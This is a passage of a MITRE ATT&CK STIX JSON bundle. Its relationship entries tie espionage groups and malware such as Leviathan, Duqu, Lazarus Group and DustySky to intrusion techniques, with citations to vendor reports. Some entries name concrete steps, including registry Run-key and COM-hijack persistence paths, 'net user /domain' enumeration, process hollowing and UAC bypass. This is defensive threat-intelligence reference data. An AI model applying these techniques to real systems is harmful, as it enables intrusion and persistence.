                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint Leviathan Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "type": "relationship",
            "modified": "2019-04-25T12:24:57.288Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--0942dc11-0fcd-480a-ae4d-d571ba96331b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used CVE-2014-6324 to escalate privileges.(Citation: SecureWorks BRONZE UNION June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
            "type": "relationship",
            "modified": "2019-07-14T21:15:55.073Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b05da4f4-a47f-42d9-8464-58c6960a767a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OopsIE](https://attack.mitre.org/software/S0264) compresses collected files with GZipStream before sending them to its C2 server.(Citation: Unit 42 OopsIE! Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 OopsIE! Feb 2018",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"
                }
            ],
            "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "type": "relationship",
            "modified": "2020-03-30T02:36:45.216Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d4fd461f-fc58-4060-aed4-cebe64f249b9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Arp](https://attack.mitre.org/software/S0099) can be used to display ARP configuration information on the host.",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "tool--30489451-5886-4c46-90c9-0dff9adc5252",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0"
        },
        {
            "id": "relationship--1a4c94a1-6362-42b3-b1d9-41ae3fbf5ea5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Misdat](https://attack.mitre.org/software/S0083) is capable of running commands to obtain a list of files and directories, as well as enumerating logical drives.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-18T14:51:57.884Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
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            "description": "[Derusbi](https://attack.mitre.org/software/S0021) injects itself into the secure shell (SSH) process.(Citation: Airbus Derusbi 2015)",
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            ],
            "external_references": [
                {
                    "source_name": "Airbus Derusbi 2015",
                    "description": "Perigaud, F. (2015, December 15). Newcomers in the Derusbi family. Retrieved December 20, 2017.",
                    "url": "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
                }
            ],
            "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "type": "relationship",
            "modified": "2020-03-16T15:39:47.785Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--728dce0a-125c-4d66-8622-36d4d909352b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used JavaScript to create a shortcut file in the Startup folder that points to its main backdoor.(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint Leviathan Oct 2017"
                },
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "type": "relationship",
            "modified": "2019-04-25T12:24:57.301Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--f64acb43-91b8-431a-ad0a-ad22afe5851a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Duqu](https://attack.mitre.org/software/S0038) is capable of loading executable code via process hollowing.(Citation: Symantec W32.Duqu)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
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                    "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.",
                    "source_name": "Symantec W32.Duqu"
                }
            ],
            "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4",
            "type": "relationship",
            "modified": "2019-04-24T23:18:53.184Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--94211067-148f-4196-a216-c1bb1e5cfc70",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Malware used by [Putter Panda](https://attack.mitre.org/groups/G0024) attempts to terminate processes corresponding to two components of Sophos Anti-Virus (SAVAdminService.exe and SavService.exe).(Citation: CrowdStrike Putter Panda)",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "source_name": "CrowdStrike Putter Panda"
                }
            ],
            "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "type": "relationship",
            "modified": "2019-03-25T16:53:38.785Z",
            "created": "2017-05-31T21:33:27.059Z"
        },
        {
            "id": "relationship--b0a0e3c7-e1b2-4b84-8e37-8989147785d0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) developed a file stealer to search C:\\ and collect files with certain extensions. [Patchwork](https://attack.mitre.org/groups/G0040) also executed a script to enumerate all drives, store them as a list, and upload generated files to the C2 server.(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "source_name": "TrendMicro Patchwork Dec 2017"
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "type": "relationship",
            "modified": "2019-07-11T13:53:05.821Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0585e082-8f8e-4162-b4a8-3c1cef02f7e3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
            "external_references": [
                {
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "source_name": "F-Secure The Dukes"
                }
            ],
            "description": "(Citation: F-Secure The Dukes)",
            "type": "relationship",
            "modified": "2019-07-25T14:25:53.433Z",
            "created": "2017-05-31T21:33:27.050Z"
        },
        {
            "id": "relationship--bfa47cf5-93e4-451e-a2eb-dadca6ae6bb0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Brave Prince](https://attack.mitre.org/software/S0252) gathers network configuration information as well as the ARP cache.(Citation: McAfee Gold Dragon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.069Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--30da0c3d-8767-4828-b50d-181d9a89b9a8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component can download remote files.(Citation: FireEye Periscope March 2018)(Citation: Lee 2013)(Citation: NCSC Joint Report Public Tools)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "source_name": "FireEye Periscope March 2018"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html",
                    "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.",
                    "source_name": "Lee 2013"
                },
                {
                    "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.",
                    "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools",
                    "source_name": "NCSC Joint Report Public Tools"
                }
            ],
            "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2021-01-25T15:43:45.766Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--731710ae-a6b9-47b7-b8b2-8526ce60be2f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) is capable of performing remote file transmission.(Citation: Crowdstrike DNC June 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/",
                    "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.",
                    "source_name": "Crowdstrike DNC June 2016"
                }
            ],
            "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-05-14T17:10:21.903Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--107267dc-0620-42b3-8287-f49ce2ea4f8f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can load a DLL using Rundll32.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"
                }
            ],
            "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2019-06-28T20:48:52.551Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--fb5e24e6-58f1-4ef0-9094-147319487f15",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--5391ece4-8866-415d-9b5e-8dc5944f612a",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0",
            "type": "relationship",
            "modified": "2020-03-30T13:40:14.636Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--535e3fbe-e6d9-4608-9689-f8f1f8c1ddc9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) injects itself into explorer.exe.(Citation: Symantec Dragonfly)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
                }
            ],
            "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "type": "relationship",
            "modified": "2020-03-17T16:17:38.065Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--03c9b56e-f006-43b2-ac98-bcbe0c05e979",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ChChes](https://attack.mitre.org/software/S0144) communicates to its C2 server over HTTP and embeds data within the Cookie HTTP header.(Citation: Palo Alto menuPass Feb 2017)(Citation: JPCERT ChChes Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto menuPass Feb 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/"
                },
                {
                    "source_name": "JPCERT ChChes Feb 2017",
                    "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.",
                    "url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html"
                }
            ],
            "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:33:20.598Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--64309b21-2dc2-4369-9c70-66f47f5c4b56",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ComRAT](https://attack.mitre.org/software/S0126) samples have been seen which hijack COM objects for persistence by replacing the path to shell32.dll in registry location <code>HKCU\\Software\\Classes\\CLSID\\{42aedc87-2188-41fd-b9a3-0c966feabec1}\\InprocServer32</code>.(Citation: NorthSec 2015 GData Uroburos Tools)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "NorthSec 2015 GData Uroburos Tools",
                    "description": "Rascagneres, P. (2015, May). Tools used by the Uroburos actors. Retrieved August 18, 2016.",
                    "url": "https://docplayer.net/101655589-Tools-used-by-the-uroburos-actors.html"
                }
            ],
            "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae",
            "type": "relationship",
            "modified": "2020-06-29T13:26:01.388Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5d914544-0a93-43ba-b890-1f4a4fa818e8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can download files and additional malware components.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Trojan.Hydraq Jan 2010",
                    "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident"
                },
                {
                    "source_name": "Symantec Hydraq Jan 2010",
                    "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"
                }
            ],
            "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-02-18T03:48:53.655Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--fa155ccc-b9db-48f6-bb1a-a367596668ad",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used <code>net user /domain</code> to identify account information.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
            "type": "relationship",
            "modified": "2020-03-18T19:38:52.462Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--bd745d11-93d8-45db-8a68-08a52383375a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware samples use a common function to identify target files by their extension. [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families can also enumerate files and directories, including a Destover-like variant that lists files and gathers information for all drives.(Citation: Novetta Blockbuster)(Citation: McAfee GhostSecret)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "source_name": "McAfee GhostSecret",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-09-09T19:15:44.942Z",
            "created": "2017-05-31T21:33:27.066Z"
        },
        {
            "id": "relationship--ae11039c-6711-4860-a1b6-c7a8e0bcbbfb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153",
            "external_references": [
                {
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf",
                    "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.",
                    "source_name": "PTSecurity Cobalt Dec 2016"
                }
            ],
            "description": "(Citation: PTSecurity Cobalt Dec 2016)",
            "type": "relationship",
            "modified": "2019-07-26T23:38:34.282Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--dce95526-cb24-4d3e-9b3b-de704e0730e4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--56648de3-8947-4559-90c4-eda10acc0f5a",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d",
            "type": "relationship",
            "modified": "2020-02-12T18:55:55.447Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--fb1a7bbd-9dec-4038-9935-1647378f739f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--1f34230d-b6ae-4dc7-8599-78c18820bd21",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
            "type": "relationship",
            "modified": "2020-12-29T19:07:11.219Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3d602fec-cf94-4aa4-a4d9-cad286e6881f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN10](https://attack.mitre.org/groups/G0051) has used Meterpreter to enumerate users on remote systems.(Citation: FireEye FIN10 June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye FIN10 June 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf"
                }
            ],
            "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-04-25T12:09:56.274Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5cd8b8a9-fd11-4405-8369-b12398b94def",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[AutoIt backdoor](https://attack.mitre.org/software/S0129) attempts to escalate privileges by bypassing User Access Control.(Citation: Forcepoint Monsoon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                }
            ],
            "source_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "type": "relationship",
            "modified": "2020-03-20T18:03:40.136Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9a7ff784-436b-40c5-bfb0-25e02e1d9940",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DustySky](https://attack.mitre.org/software/S0062) achieves persistence by creating a Registry entry in <code>HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run</code>.(Citation: DustySky)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DustySky",
                    "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"
                }
            ],
            "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2021-04-27T19:53:20.454Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--fda1acb3-8e87-4fff-ae19-7e6a2ff9d6c3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "relationship_type": "uses",
            "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54",
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                },
                {
